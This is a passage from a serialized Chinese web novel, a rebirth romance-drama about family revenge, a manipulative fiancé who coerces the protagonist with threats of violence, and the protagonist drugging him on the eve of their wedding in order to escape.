他的语气冷到降至冰点,“我有没有说过纪明冉此人性格深沉、手段果决,做恋人不合适。” 刘助在前面坐着有些于心不忍,二少打小也不爱碰生意场上的事情,前段时间愣是日日都在熬夜处理集团大大小小的事务,一声辛苦都没吭。 “贺总,您先别生气,”此时说话确实是有些不合适,但是刘助还是出声打了个圆场,“主要是那个纪明冉心机忒深,谁能想到他连枕边人都算计。” 贺琨低眉垂眸,长直的睫毛微扇,冷硬的眉宇间显少地看出了些乖巧委屈。 “在我这委屈什么,”贺青峰冷哼,揉了揉眉心,“马上退婚。” “已经退了,刚才在访谈直播上。”贺琨终于找到个能回答的问题,连忙开口回应。 “嗯,项目的事情无需担心,我有自己的考量,”贺青峰思索着,将手边装着几份文件的牛皮纸袋整齐地压平,“塞翁失马,焉知非福。” 以贺青峰的性格并不会开口直说过分柔情的话,他说完后只是抬起手臂,轻轻拍了拍贺琨的后脑,“当花钱买个教训了,不怕。” 贺青峰语气依旧是那般平静如水,却惹得贺琨眸光微颤,自从得知纪明冉利用他做空贺氏的种种以来,贺琨几乎每晚都会被噩梦惊醒,有时梦见的是前世的事情,有时又会穿插进重生后的经历。 下落不明的贺青峰,以及贺家充满仇恨的那些往事,贺荣炜对贺氏集团的虎视眈眈,加之纪明冉无止境的算计。 现今都在那两个字中变成泪,模糊了视线,贺琨再次偏头,动作间有些急促,他故意打了个哈欠,闭上眼靠进角落里,“闹了一整晚好累,哥,到家叫我。” 贺青峰无声叹息,直到贺琨的呼吸变得平稳之后,方才移开视线。 不知怎的,却想起离别时宋榄中枪倒地后泪湿的脸颊。 —— 纪明冉将舆情处理得极为出色,甚至可以写成此类事件公关的案列模板,供业界流传学习的程度。 他不仅打了漂亮的翻身仗,还将此次事件的关注度顺利转移到了产品发布会上。 贺琨躺在未开灯的房间里,一日又一日,关于他的争议却依旧在网上纷争不休。 纪明冉正辗转在一个又一个的公开演讲中,在如潮水般的掌声中,迎接赞誉与鲜花。 社会对学者的期望是纯粹、真理、还有道德的高地,所以有关学者的名誉总是不容污点的严肃话题。 而对商人的期望是逐利和精明,些许争议也会被视为行业常态或一时失手,更何况纪明冉开创了人体改造新领域的空白。 贺氏集团,总裁办公室内。 “我要见贺琨。” 纪明冉眼神冷峻如冰,他凝视着贺青峰,眸光里满是威胁与压迫。 贺青峰将贺琨藏了起来,等发布会第二日纪明冉再去找人时,却发现贺琨就像人间蒸发了一般。 但凡他用心些,就会发现贺琨根本没走远,或许是太忙了吧,所以到现在都一无所获。 贺青峰缓缓将手中钢笔合上,抬眸看向纪明冉,同样的决绝冰冷,“不可能。” “贺青峰,我想你还没有搞清楚自己的身份定位,”纪明冉语句中满是利用权势的威胁,他笃定地看着坐在办公椅之上的人直言道,“若非你执意阻拦,贺琨不可能会离开我。” 第55章 第五十五章记忆错乱满600营养液…… “阿琨,我为我们设计了婚礼的戒指,等你回来。” 贺琨睁开双眼,纪明冉的声音依旧回荡在耳边,在脑海里一遍又一遍地重演。那对婚戒他记得,其实准确说来,那才是他与纪明冉的第一对婚戒。 纪明冉精心设计了很久,又找了技术最好的手工师傅,最后几乎是自己上手锻造,才制作完成了那对戒指。 贺琨死前都戴着,属于他的那枚环在指间,而属于纪明冉的那枚被串成项链挂在胸口。 傍晚的天空竟然飘起了雪,他端起桌面上的温水,将几片药物混着饮下,神情中带着恍惚。 昏暗的房间过于整洁,就连墙壁也都白得死寂,一丝活人的烟火气也无,甚至空荡到有些病态。 家具棱角泛着冷光,每一件都精确地摆在它应在的位置,书脊也都严丝合缝地贴着书柜的边沿。 他安静地站着,过了几分钟后拿出关机了一段时间的手机,缓缓开机,手机屏幕才刚亮,便不断地弹出窗口以及提示音,在卧室内发出突兀的亮光。 最近一封邮件是前段时间接下项目的合作方发送的,项目本身也是关于政府投建,贺琨隐约感知到对方此封邮件的内容是什么,指尖悬在半空。 由于之前在学校就读时就已经在业内小有名气,此次的事件与政府敏感话题相关,接连几个建筑展会已经取消了他的参展资格。 贺琨带着一种近乎麻木的滞涩感,打开邮件,公式化的文字映入眼帘,礼貌、冷静,不带一丝多余的情绪: 贺先生您好,鉴于目前围绕您的声誉争议,我方经过审慎评估,认为继续合作存在不可控的声誉风险。因此,遗憾地通知您,我们决定终止此次合作项目 贺琨大致浏览完毕后便关闭了,至于相关法律函件,冯平应该会处理好,毕竟这段时间都是这么交给冯平处理的。 而他则是平静地走到书柜前,抽出了本纯白色的笔记本,坐在书桌前开始快速书写。 时间就这样缓缓流逝,两个小时眨眼而过,贺琨拉开抽屉,相同的笔记本在抽屉里已经有一本,从第一页到最后一页,密密麻麻的,满是字迹,而现在手上这一本也记录了半本还多,今天刚好收尾,他全部取出来整齐地放回书架的原位。 原本以为哥哥回来了,贺氏集团的情况会好些,但是结果却完全相反。 贺琨为了躲避纪明冉的搜寻,能了解外界的渠道并不多,只能偶尔从媒体零星的报道中了解到只言片语。 纪明冉应该是在对贺氏施压,很多狗腿子见风使舵,妄图从中分一杯羹,造成了对集团围堵的不利局面。 就凭贺琨前段时间浅薄的经验也知道,这样的状态下,集团是不可能坚持太久的,更别提扭转前端时间的亏损。 贺琨相信他哥有这样的实力,但是前提是在纪明冉没有刻意打压的情况下。 他不愿意继续牵连集团,也不可能藏一辈子,况且贺琨有一件事情始终在心里牵挂着,必须要去弄明白。 想到此处,他随便从衣橱里捞出件黑色的羽绒服准备出门,正要习惯性地戴上帽子和口罩,往贺青峰现在的住处去。 纪明冉一直在四处搜寻他,想出门只能这样,或者就是不出门,可指尖刚触碰到帽檐,口袋里的手机微微震动,贺琨收回手,现在没有必要了,他和纪明冉总要结束的。 他平静地下楼,电梯门刚打开,果然有一道黑色的身影恭敬地站在电梯门口,是肃山。 贺琨嗤笑,来这么快显得多深情似的,结果本人都没有露面,他直接将肃山视作空气往外走。 “小贺先生,请往这边走。”肃山上前拦住贺琨的步伐。 贺琨直接将人推开,直言道:“肃山,你说咱俩在这打起来,纪总会喜欢这戏码吗?” 肃山绷直的肩膀缩了缩,平日里板着的冰块脸也显露出了一丝不可察的苦相,不敢想象如果贺先生身上出现了伤痕,会造成什么样的后果。 “小贺先生,纪先生就在车内等您,还想请您耽误几分钟时间。”肃山打算先说服人过去再说。 贺琨直接绕开肃山,走到来接他的车前,拉开车门,说出了曾经绝对不可能会出口的话语,“我不想看见他。” —— 贺青峰最近非常头疼,对于纪明冉的全方位的施压,使得集团部分项目无法正常运转,一系列的连锁反应之下资金链的衔接也不畅起来。 今晚回到家时,已经接近凌晨,一楼客厅却意外地亮着灯,门外还停着好几辆黑色的轿车。 定睛一看,那不速之客纪明冉正站在车外,指间猩红的火星在夜幕下极为显目,眼神落在虚空之处,不知道在想什么,黑色的伞上已经积上一层薄雪,看起来已经在门口守了有一会了。 贺青峰微眯眼眸,很快猜到贺琨应该是主动出来了,而且现在就在屋中。 纪明冉不敢硬闯肯定是心中还有顾忌,就算如此这人也不是什么好鸟。 看见贺青峰下车,纪明冉先打了招呼,几日前还在喊着贺青峰的全名威逼利诱,今天就如同失去记忆般风轻云淡道:“哥,我来接阿琨回家。” 贺青峰眼神都没给,提上电脑直接下车走进院中,纪明冉也不恼,只是将烟头踩灭,看着贺青峰的背影走进别墅中。 肃山举着黑色的雨伞,“先生,还等吗?” “等,”纪明冉再次抽出一支烟,拨开火机,火光顿时照亮他眼眸中的阴沉,声音如同冰凉的蛇类缠绕上耳廓,“一个小时。” 别墅内,贺琨坐在客厅里,整理着那封匿名的邮件,纯白色的硬封外壳被规矩地放在茶几上,线条与桌面完全平行。 “不该出来的,”贺青峰将羊绒大衣脱下,缓缓走进客厅,“我已经为你办理好了出国的手续。” 贺琨起身回头笑了笑,颇有几分无所谓了的洒脱之意,“啧,哥还要瞒我多久,集团最近遇上了很多麻烦吧。” 贺青峰弯起嘴角,挂着周正温和的笑意,拍了拍贺琨的肩膀,似乎没有他解决不了的问题,“没事,我有办法。” 这样的笑容很温暖,并不像长相更为精致的纪明冉,尽管时刻将得体的笑容挂在嘴边,却依旧给人带来强烈的压迫与恐惧。 贺琨凝视着眼前的人,占据了他生命中唯一的长辈角色,有时如同严厉鞭策的父亲,有时又是温和可亲的兄长。 如果真的按照邮件上所讲述的经历,贺嘉岂是背负着血海深仇的男人,应该是阴郁可怖的,而不是这样一位清风峻节的端方君子。 贺青峰看着贺琨一反常态的模样,视线转移到他手中整齐的几份文件上,开口问道:“怎么了?” 贺琨视线瞥向地面,尽管来之前已经做足的心理准备,到了临了要开口的时候,依旧难以开口,但是他必须亲自问清楚,必须亲耳听见哥的回答,至起码在还清醒的时间里。 指尖带着不自觉的颤抖,他没有质问的起伏,只有想听见真相的忐忑,“哥,你认识贺嘉岂吗?” 贺青峰的笑容僵在脸上,身影在光影下微晃,落地窗外是冰冷的月色,碎雪在空中飘扬。 他没有否认,没有辩解,再次抬起头看向贺琨时,那种眼神,不是凶手败露后的凶戾,而是一种难以言喻的复杂,深刻到贺琨觉得自己此生永远都不会忘记那个瞬间,过了几秒,又似乎过了很久,他将手中文件递了出去。 贺青峰接过文件,很快调整好了情绪,他转身走到精美的酒柜前,从中取出藏酒,自顾自地倒了两杯,将其中一杯送到了贺琨面前。 平日里,兄弟两人很少一同喝酒,因为贺青峰生性克己自律,除非在社交场合,基本不会主动碰烟酒女色之类,可以看出此时他也并没有表面那般平静。 贺青峰先将酒送入自己的口中,苦涩辛辣在口中蔓开,他以同样的坦诚回应了贺琨的真挚,看着那份贺家家谱提起了往事,“贺郝闵是我的父亲,他死在了自己的亲弟弟手中。” 贺琨喉结微微滚动,他轻声问道:“是我父亲做的,为了什么?” 答案很明显,贺青峰似乎回到了那场烧得漫天浓烟的大火中,灼热的呼吸、滚烫的空气,还有满是黑色灰烬的口鼻。 “为了权与钱。” 他本应是贺家名正言顺的继承人贺嘉岂,而不是幸运至极、阴差阳错之下才成为集团掌权者的捡漏养子贺青峰。 贺嘉岂天生聪慧机敏,是上一代贺家主家夫妇唯一的儿子,父母恩爱美满,家庭和睦。 贺琨的父亲贺郝舟原是他的二伯,面目慈善的皮下却是当之无愧的恶魔。 他苦心经营多年,却始终争不过他那病痛缠身的亲生哥哥贺郝闵,本想等贺郝闵死后,再名正言顺地继承贺氏集团,得以名利双收。 可哪不妨病秧子哥哥的儿子竟是可塑之才,眼看自己的年岁越来越大,而贺郝闵却拖着病体苟延残喘也要为妻儿铺路。 他忌惮这位以非常人的速度不断成长的少年,唯恐自己将永无出头之日,日夜堆积的恐慌终于使贺郝舟生出的歹毒的心思。 贺青峰看着自己年幼时在郊外游玩时候的照片,左侧脸颊上被火舌的灼烧剧痛似乎再次袭来,“贺郝舟利用当时的某项工程,伪装了一起因为工资拖欠的暴动,本来在那天晚上,我也应该死去的。” 贺琨听着自己父亲的所作所为,握紧了手中的酒杯,“那你怎么活下来的,还有你的面容?” 贺青峰抬眸看向贺琨,似乎在透过他看着另外的人,继续娓娓道来:“你很像她,你的母亲。” 自从贺郝舟结婚后的第二年开始把不同的女人往家里带,贺琨的母亲便彻底死了心,专心搞起了自己的事业。 她是位生性洒脱的女人,爱的时候便全情投入,不爱的时候抽身得极为彻底,贺郝舟出轨却又爱得死活不愿离婚,可贺琨的母亲那时已经不要这个男人了。 这对夫妻离心离德,却因为贺郝舟的强权压人,贺琨的母亲始终无法彻底摆脱贺家。 当她发现贺郝舟恶毒的谋杀计划,还是在一次偶然之中,可那时已经无力阻止走火入魔的男人。 “是你的母亲派人赶到现场救下了我,等我醒来时面容已经被烧毁,她端详着我的脸说‘这样也好,你二伯已经疯了’,后来等我修养得差不多,她了我一笔巨款,让我永远离开,别再回来。” “那我为什么会出生?如果母亲已经不爱那个人了。”贺琨有些不解,再次问道。 “应该是婚内强迫,据我后来得到的信息,你母亲在怀孕期间十分抑郁,多次欲图杀害贺郝舟,最后贺郝舟不得已将她送进了疗养院养胎。” 贺琨想起那些快要遗漏在记忆里的童年碎片,原来那些忽视冷待,是因为他本生就是错误的出生,是不被欢迎的存在。 他唇色变得苍白,没有想着自己,只是默默地道了很多很多声对不起,贺琨无法想象失去所有的贺嘉岂,从天之骄子成为逃命的亡人,又要怎么在异国求生。 贺青峰摇摇头,毕竟那些挣扎求生的昏暗日子早已过去,既是他自己选择放下,便不会再用过往的苦痛折磨自己。 那时,贺郝舟没有在现场找到他的尸体,自然是不可能善罢甘休,追着线索找到了伯母将他藏起来的诊所,也就是那天,伯母将他送走了。 他不知道伯母最后是怎么应付过贺郝舟的,但是离开病房时,他匆匆往后一瞥,看见了一具与自己身量差不多的躯体运进了病房。 贺郝舟年轻时疑心重,在那之后搜寻了他三年,整整三年他根本不敢动用伯母留的那笔钱。 贺嘉岂像阴沟里的老鼠在昏暗混乱的街区摸爬滚打,加之面容过于丑陋狰狞,生存得比常人困难上太多太多。 那几年他没有吃过一顿干净的,也没有睡过一张像样的床,唯有复仇的欲望支撑着他最后那口气。 贺青峰察觉出贺琨的低落,本想如同往常那般抬手摸摸贺琨的后脑袋,却突然僵持在半空中。 贺郝舟杀了他的父母,他恨了一辈子,但他同样也是贺琨的杀父仇人。 贺青峰收回手,“你母亲很爱你,贺琨。” 贺琨闻言愣住,比起贺嘉岂的经历,自己这些早已显得微不足道,但是就算那么点流逝过的悲伤,还是被敏锐地察觉了。 贺琨已经不知道要怎么面对这复杂的一切,喉结艰难地滚动,发出的声音沙哑得如同砂纸摩擦,“然后呢?” “然后,我联系到了父亲的旧部,那时候你刚满四岁,贺郝舟按惯例想给你培养个衷心的手下,于是我被举荐回到了贺家。” 第四年,贺郝舟似乎相信了贺嘉岂确实已经死亡,终于收回了各方的势力。 贺嘉岂先是慢慢地将钱转移出来开始落实脑中翻来覆去谋划了*多年的复仇计划。 那时的医疗技术已经很成熟,虽然还没有到现在这般可以将人体机械化的程度,但确实也是只差临门一脚。 他利用伯母给予的财产,将容貌调整至完全没有纰漏的状态下,费尽心力的联系上父亲当年暗藏的心腹,一举回到了贺家。 贺嘉岂再次回到贺家,并不是风光无限,而是作为仇人之子的下属,背负着屈辱仇恨踏进了熟悉的老宅,那便是他第一次见到了4岁的小贺琨。 趴在沙发底下不知道在作什么,很蠢很幼稚,像个傻子,可偏偏就是这样一个愚蠢的稚子抢占了他的位置。 贺嘉岂当时在想要怎么杀了贺琨,才足以解心头之恨。 可能是小贺琨外貌上很像二伯母,所以在贺嘉岂手中逃过一次又一次,也或许是命大吧,好几次贺嘉岂真下狠手时,这傻子又总能逃过一劫,像是在被无形的庇佑,就这样福大命大地活下来了。 贺嘉岂就这样不生不硬地照顾贺琨上了幼儿园,上了小学,上了中学,庄园里的老仆都说明明是个男孩,性格脾气却像极了二伯母年轻时候的模样,娇气任性得很,唯独听贺嘉岂的。 二伯母似乎根本不在意这个被迫孕育的孩子,总是在外忙碌自己的工作,在贺琨13岁那便仓促地重病离世,贺嘉岂并不开心,也不难过。 只是死前一个月,她回到了这个被她忽视已久的独子身边。 但是当时贺琨本就在叛逆期,看向她的视线已经和看向一个完全陌生的女人没有任何区别。 她就这样住进了这座生前最憎恨的宅院里,贺琨或许没有察觉,可彼时的“贺青峰”总是能察觉到她默默地注视着贺琨,满脸不舍担忧的模样,看出了她还是那位善良正义的女子。 就在那一个月里,她将贺琨13岁到18岁的衣食住行样样安排得再细致不过,贺嘉岂内心嗤笑这不过是迟来的关心。 可接下来最让他意想不到的是,伯母去世的那天发生的一切。 可以说女人的直觉是最敏锐的,她最后将贺嘉岂请入房间,开口便叫出来那个多年不曾见世的名字。 “嘉岂,贺琨是无辜的,烦请你看在多年前的我救下你的事,且容忍他几年,成年后你便将他赶走吧,他个不成器的,到哪都是不成器。” 回光返照的女人支撑起身子,从床头的抽屉中拿出一份收养文件,贺嘉岂面容全改的证件照旁,姓名栏里的姓氏终于变成了“贺”字。 那刺眼的字灼烧着贺嘉岂的内心,这本来就是他该有的姓氏,而不是在施舍般的收养文件下,才配被冠上的姓氏。 “日后,无论你是要用贺青峰这个名字,还是贺嘉岂这个名字,都是你的自由。” 这女人算得好狠好准,恐怕在贺嘉岂方才踏入贺家的那一刻开始,便已经看出了他的伪装。 她不声不响,从未拆穿贺嘉岂,只是默默地等待着一场罪有因得的复仇降临。 贺嘉岂看着面色苍白几近透明的女人,缓缓问道:“最开始那两年,我要杀贺琨,是不是你拦住的?” “是。” 贺嘉岂听见回答仰头笑起来,热泪模糊了视线,女人狠心将贺琨彻底丢于他,不闻不问八年。 不是因为所谓的事业,也不是因为对贺琨错误出生的仇恨,而是她已知无法阻拦这场复仇,在无奈中布下的长达八年的局。 她看似完全放手,直到无辜无知的贺琨成长在贺嘉岂的怀里,融进贺嘉岂的生活,才在生命走到尽头的时候再次出现,拿出早准备好的收养文件,将“贺青峰”从贺家接来的仆人,变成了贺家合法的养子。 她将贺琨成年前的一切安排好,以最卑微姿态诉说着一位母亲的良苦用心。 这是贺嘉岂被算计得最深的一次,却根本无力反抗,他看向窗外的白云飘过。 床上的女人已经出气多、进气少,通红的双眼还在死死盯住那位羽翼丰满、蓄势待发的青年,迟迟不肯咽下最后一口气。 “贺琨是我的弟弟。” 贺嘉岂话音刚落,她捏紧被角的苍白指尖垂落,合眼流出最后一道热泪,就此永远停止呼吸。 随着这声妥协的承诺,贺嘉岂这个名字便再也不见天日,他让自己成为了贺青峰。 “然后我杀了你的父亲,贺琨。” 死寂,只有窗外遥远的风雪声在呜咽。 短短的承认轻得像叹息,却重如千钧狠狠砸在贺琨的心上,他浑身冰凉,血液似乎瞬间冻结。 记忆里父亲模糊的脸,那些粗暴的呵斥,那些深夜里不停带回来的各色女人,还有那些酗酒后轻狂丑恶的嘴脸,瞬间被染上另一种残酷的底色。 贺琨再次看向贺青峰,这位从小到大为他挡下了所有风雨的兄长,眼中充满深不见底的痛苦和荒芜,他生不出恨意,却也不知道怎么接受,唯有冰冷的窒息和一种灭顶的茫然。 贺青峰没有催促,没有要求贺琨必须做出回应,只是静静地等待着看,给贺琨足够的缓冲时间。 他不会因为贺琨最后的决定,而后悔自己当初的选择。 贺青峰的选择只关于贺青峰自己,无论是什么结果,贺青峰都会接受,因为贺琨是他的弟弟。 “砰——” 令人心脏骤停的爆裂声毫无预兆地打破了一室的沉默,贺青峰面对落地窗而坐,事先反应过来,他立马起身将贺琨拉开。 不知道纪明冉用了什么工具,一扇完整的落地窗上呈现蛛网般的纹路瞬间炸开,无数锋利的碎片裹挟着刺骨的夜风倾入,还有如鹅毛般轻扬飘逸的雪花。 男人踩着满地的碎玻璃踏进室内,没有丝毫停顿,目标极其明确地锁定住贺青峰身后的青年,“和我回家。” 贺琨反应过来后,连忙拉回贺青峰,在看不见的角落勾了勾贺青峰的手指,这是他小时候和与贺青峰有什么约定时的暗号。 猜出纪明冉也是重生者之后,贺琨不敢再大意,难道只允许纪明冉算计他吗?贺琨眸光微闪,他出了那道藏身之门,自然是有了办法。 得跟着纪明冉回去,但是又不能让这个过程看起来太顺利,“我和你已经没有关系了。” 纪明冉闻言危险地眯了眯眼睛,不怒反笑,他拨弄着掌心里火机,清脆的声音夹杂在寒风之中,看得人心生凉意,他将视线缓缓移动到贺青峰身上,微微抬手。 几个训练有素的保镖瞬间从角落里围上来,贺琨发了狠劲,可惜数量就占了劣势,扭打几分钟后还是被按压起来。 纪明冉将被捆起来的青年按进自己的怀里,残冷的本性暴露出来,“你犹豫一分钟,我保证贺青峰就断一根指头。” 贺琨没有说话,通红着眼眶凝视着纪明冉,以沉默做着最后的抵抗。 “肃江,”纪明冉一声令下,按压着贺青峰的男人抽出了锋利的匕首,纪明冉则是抬起腕表,表情淡漠平静,“5、4、3、2——” 那位叫肃江的人手中的匕首已经抵在贺青峰的尾指上,贺琨瞳孔微缩,再次对纪明冉的疯劲有了清晰的认知。 “等等,等等,松开我哥,放开我哥哥!我和你回去——” 贺琨只顾着与纪明冉周旋,完全没有注意到情急之下,他内心深处依旧将贺青峰看作了哥哥,而不是借这个最好的机会除去杀父仇人。 贺青峰也听见了,明明尾指已经在锐利的刀锋下出现血痕,紧绷的嘴角还是缓缓勾起了为不可察的笑容,可听见贺琨的妥协又瞬间将眉头皱了起来,他强硬地抬头盯着纪明冉道:“你会后悔的。” 纪明冉得到了想要的答案,只想赶紧带贺琨回家,他嗤笑着狼狈的贺青峰,将之前贺青峰对他的说过的话还了回去,“不可能。” —— “只是为我准备过烟花吗?还是其他人也有?” 两人坐在安静的空中餐厅内,优雅的乐声,暧昧的氛围。 纪明冉看着漫天的烟花,又看向贺琨,笑得很魅人,面对这样的美人,是无法说出什么让他伤心的言语的。 “只有你,冉冉,因为我只爱你啊。” 贺琨看着那时的自己,疯狂地想上前阻止,却始终跨不过那透明的屏障,最后在挣扎中坠下了餐厅,不断的坠落、坠落—— 失重感变得格外强烈,贺琨在漆黑安静的房间中突然睁开双眼,又梦见前世的事情了,记忆很混乱,有时候甚至开始忘记,并且随着时间的推迟愈发严重。 纪明冉睡得很轻,察觉到贺琨的动作后,将人搂进怀中,异物的存在感随着距离的拉近变得强烈,硌得贺琨直难受。 自从大雪那夜将贺琨从贺青峰的别墅接回来后,纪明冉每天同吃药了似的,恨不得24小时黏在贺琨身上,可是他一次也没有吃上。 贺琨这么皮实的身体,今年入冬后不知怎么的一直在生病,不是发烧就是呕吐,纪明冉没舍得折腾,就自己憋着。 贺琨睡眠也不好了,纪明冉跟着睡不着,过了会低柔的开口问道:“怎么了?” 贺琨想了想,目光开始游走,直到看见指间的戒指,才似确定什么,“松开我,很热。” 纪明冉充耳不闻,“下周我们就要结婚了,开不开心?” 贺琨眨了眨眼,“你要记得答应我的条件,不然我就会离开,再也不回来了,你找不到我了。” “好,我知道,我保证无论何时都绝对不会让宋揽接近你哥哥。”纪明冉不愿意听见那些离不离开的字眼,总会激起他心中最原始的恐慌,于是立马接过话头回答贺琨。 他也隐约感知到贺琨的状态不对,医生都已经请到别墅长住,却迟迟没有效果。 唯有一遍又一遍地重复答应着贺琨的这个要求,只求让青年能开心些。 第56章 第五十六章好好告别纪明冉走出书房…… 纪明冉走出书房,从身后搂住了站在窗边的贺琨,明天就是婚礼了,思及此处他又带上清浅的笑。 突如其来的触碰使贺琨从窗外寂寥的雪景醒神,于是转身看向这位自己爱了很多年的人,如今看来好像也就那样,和寻常人没什么不一样的,一双眼睛、一个鼻子、一张嘴巴。 喉咙里传来刺痛的痒意,他不住偏头咳嗽起来。 纪明冉满眼都是心疼,顺着贺琨的背脊安抚,慢慢将人扶到暖炉前坐下后,又端了杯温水来,蹲在贺琨腿侧,“怎么病了这么久,这个冬天好讨厌。” 在贺琨逐渐失去爱意的日子里,纪明冉眼中的迷恋更加日益深沉,他仰视着贺琨,青年再也不可能离开自己的事实,是如此让他兴奋。 将心爱的人藏进自己精心打造的巢穴中,这种掌控欲完全填满带来的安全感,使他不再压抑着情绪,而是放任爱意倾泻。 可惜整个过程中贺琨全然不察,他也不想知道纪明冉变化的原因,只是垂首看向蹲在膝边的男人,因为仰头的动作,将脆弱咽喉完全袒露出来,看似无害又纯情。 贺琨突然就想起在R国时,纪明冉仅是猜测到真相的边缘就那般凶戾,要是他亲口承认真相,纪明冉会变成什么模样呢。 他摇了摇头放下不着边际的想法,抬手慢慢下滑,直至停留在纪明冉凸起的喉结不轻不重地按压,“纪明冉,放下纪家的一切,我们重新开始好不好?” 纪明冉本来微眯着眼眸享受着爱人的亲昵,在听完青年的话语后却呼吸敛住,眸光深幽而绵长,“为什么,我们现在这样不好吗?” 他握住贺琨的手腕将人攥进怀里,随后起身一揽,侧卧在躺椅里的青年就这么紧密地伏进了他怀里,贺琨的发质偏硬,贴在肌肤上有些扎,他偏偏不在意,还固执地在那乌黑的发顶落下一吻。 放下纪家简直就是天方夜谭,或者说纪明冉根本不愿意再放下手中权势,不仅是为了复仇,他还要成为纪家的家主,他有能力、有野心,为什么不可以? 树欲静而风不止,上一世的死亡就是最好的印证,与其变成待宰的绵羊,为何不站在浪头弄潮。 既然从出生就注定入局,便不可能再抽身而退,更何况如今贺琨已经与他的命运相连,纪明冉只有一条路,就是向前。 贺琨本想说“不好”,可是最后也没说出口,他害怕纪明冉某天也会变成贺郝舟的模样,是不是届时再亲近的人也可以随意杀害。 想到这贺琨不寒而栗,他曾经质疑谁,都也不会质疑纪明冉对他的爱,可是现在他躺在纪明冉的怀里却如临深渊、如履薄冰。 窗外树影婆娑,碎银似的月光把枝桠拓在白墙上,像水墨描出来的朦胧画,倒影在白墙晃动,如同纪明冉在贺琨看不见的角度,握住把匕首插进自己的身体里。 贺琨睫毛微微颤抖,再次剧烈地咳嗽起来,他支撑起身体,下定了决心,“想喝点温酒,好冷。” 纪明冉本来想劝阻,但考虑到明天就是婚礼的日子,定然免不了应酬,不如让贺琨喝到微醺,今晚也能休息好些。 他将毛毯严实地盖在贺琨身上,只露出个毛茸茸的脑袋,又磨蹭着爱不释手地亲了亲,“好,我去酒柜拿,你等等。” 贺琨见着纪明冉离开,从口袋里拿出一包药粉,提前倒进了温酒的小茶壶里,又和着水服下了解药,在纪明冉回来前回到了壁炉前的躺椅上坐着。 药是宋榄想办法送进来的,他应该会在婚礼开始前就会将自己截走,狗咬狗的戏码罢了。 说起来他和宋榄能联系上,起因还多亏纪明冉,前段时间贺青峰前脚被贺琨接回了国,中枪苏醒后的宋榄后脚就跟来了。 得知是纪明冉的背刺后,他火速与罗德山庄割席,夺妻之仇让他对纪明冉那是恨之入骨,无奈多次刺杀不成,便把主意打到了贺琨身上。 彼时,贺琨还在公寓里躲着,宋榄靠着吃饭的老本事,追寻着蛛丝马迹就把贺琨找到了。 他只有一个诉求,就是他到手的老婆没了,纪明冉也别想好过,最好是比他难过百倍千倍。 这个人在国外搞灰色产业的,下手自然是怎么阴损怎么来,本来想着将贺琨杀了一劳永逸,但是他不敢。 因为贺琨是贺青峰的底线,宋榄怕贺琨要是哪里磕了碰了,峰哥就真的一辈子不会搭理他了。 所以宋榄最后决定要将贺琨送走,永远藏起来,藏在纪明冉不知道的地方。 贺琨听完只觉得是件好事,不连累到贺氏集团,也不牵扯到哥哥,自然是答应了,并且十分配合。 与此同时,他一遍一遍让纪明冉答应阻拦宋榄,是为了自己离开后,斩断纪明冉与宋榄再次联手的可能性,他们互相牵制得越久越好。 贺琨听见响动,缓缓回神,看见纪明冉取来了一瓶寻常的果酒,酒的后劲不大,但是又是正好可以助眠的程度。 屋内壁炉里的柴火正烧到最温吞的阶段,木柴偶尔“噼啪”爆出星子,又很快被裹进绵长的松香中,令人昏昏欲睡。 矮几上的小壶正温着酒,咕噜咕嘟地细响,热气顺着壶壁往上爬,氤氲了纪明冉的眉眼。 贺琨移开视线看向窗外,目光沉静如水,并不悲伤也不惊惧,接过纪明冉递来的杯盏,仰头饮尽,温热的液体确实让身体微微回暖。 “又下雪了,纪明冉。” 纪明冉没有回应,只是在这个宁静的夜晚凝视着贺琨,来时的路已找到归宿,胸腔如同填满柔软蓬松的棉花糖,充斥着淡淡甜意,是一种幸福到填满的感觉,他被冲得浑身酥麻,连续喝下两盏酒,轻柔深情地吻上了眼前之人,直到结束也不肯松手。 感受着纪明冉拥住他的气力慢慢褪去,贺琨顺势推开黏腻的怀抱,走到露台前,握住莲纹的金属门柄,彻底推开了玻璃门。 冬夜的风裹挟着雪粒撞进来,刚落进屋里的雪瞬间融在地板上,门外的风雪正烈,将贺琨的影子扯得忽长忽短。 “纪明冉,我记得你就是在雪天死去的。” 青年站在雪夜的月色下飘渺到像一缕快要散去的轻烟,等纪明冉察觉到不对劲时,一切都已经来不及了。 他挣扎着起身,可身体摇摇晃晃就是迈不出一步,无论如何也提不起半分力气,甚至意识都开始模糊。 直到迟缓的思绪将那句简短的话语拆解分析,纪明冉倏尔愣在原地,他费力地仰头看向贺琨。 眼中顿时变成冰冷的审视,冷厉清晰的眸光比落在贺琨肩头的风雪还要更寒凉几分。 这就是纪明冉,这才是纪明冉,理性清醒,利益至上。 贺琨看错了,也求错了,属于他的冉冉早就死了,孤独地死在一个雪夜里,死了就是死了。 自嘲般的苦笑浮现在贺琨的脸上,可是他已经什么都没有了,也给不出什么了。 告诉纪明冉真相,不过也只是为了更彻底的别离。 “你死后的时间很漫长,我没有坚持太久,19岁那年我醒来第一件事,就是去找你,”贺琨没有说出那些空泛心酸的往事,似乎已经不重要了,“后来的事,你应该都知道。” 纪明冉狠狠地盯着贺琨,不停地喘着粗气,似乎在努力地保持清醒,浓烈的审视随即化做了更深、更尖锐的讥诮。 “你想杀我?” 男人额角青筋暴起,眉眼间充斥着阴郁的气息,声音压得极低,“你的同伙是谁?纪清嵩、纪姝还是你那虚伪的哥哥?” 无力坐在椅子里纪明冉的眼里没半分狼狈,黑眸沉沉地锁着贺琨,尽管已经无法动弹,气势却依旧压人,每个字都像淬了毒,精准地扎进贺琨的心里不停地翻搅,还以为不会再为这个人伤心了。 纪明冉已经疯魔了,贺琨像是听到了什么荒谬的笑话,苍白的脸上泛起一种病态的嫣红,本想好好告别,得到的却是质问。 他半晌不知如何反应,过了会方才眨了眨眼睛,声音重新变得平板而绝望:“那你呢?从头至尾有半分真心吗?” 贺琨以生命为代价,将虚无的相见寄托于死亡,也要逆行到纪明冉身边长眠,换来的就是这些,这些永无止尽的算计和猜忌。 温热的眼泪顺着苍白的脸颊坠落,好像他每一次落泪都是为了眼前之人。 “你不是猜到了吗?何必做出这般姿态,”纪明冉看着贺琨,像是在看一位故作情深的滑稽的表演者,否则为何要在婚礼前夕下药,然后又坦白重生,他再次不假思索地残忍开口,“没有,莫非你还指望我再次爱上你这样的人吗?” 青年那双眼睛里盛满破碎的月光,盈盈一捧,亮得惊心动魄,纪明冉下意识地想抬手去接,才恍然发觉贺琨如今已经消瘦得不成样子,周身萦绕着腐朽的死气。 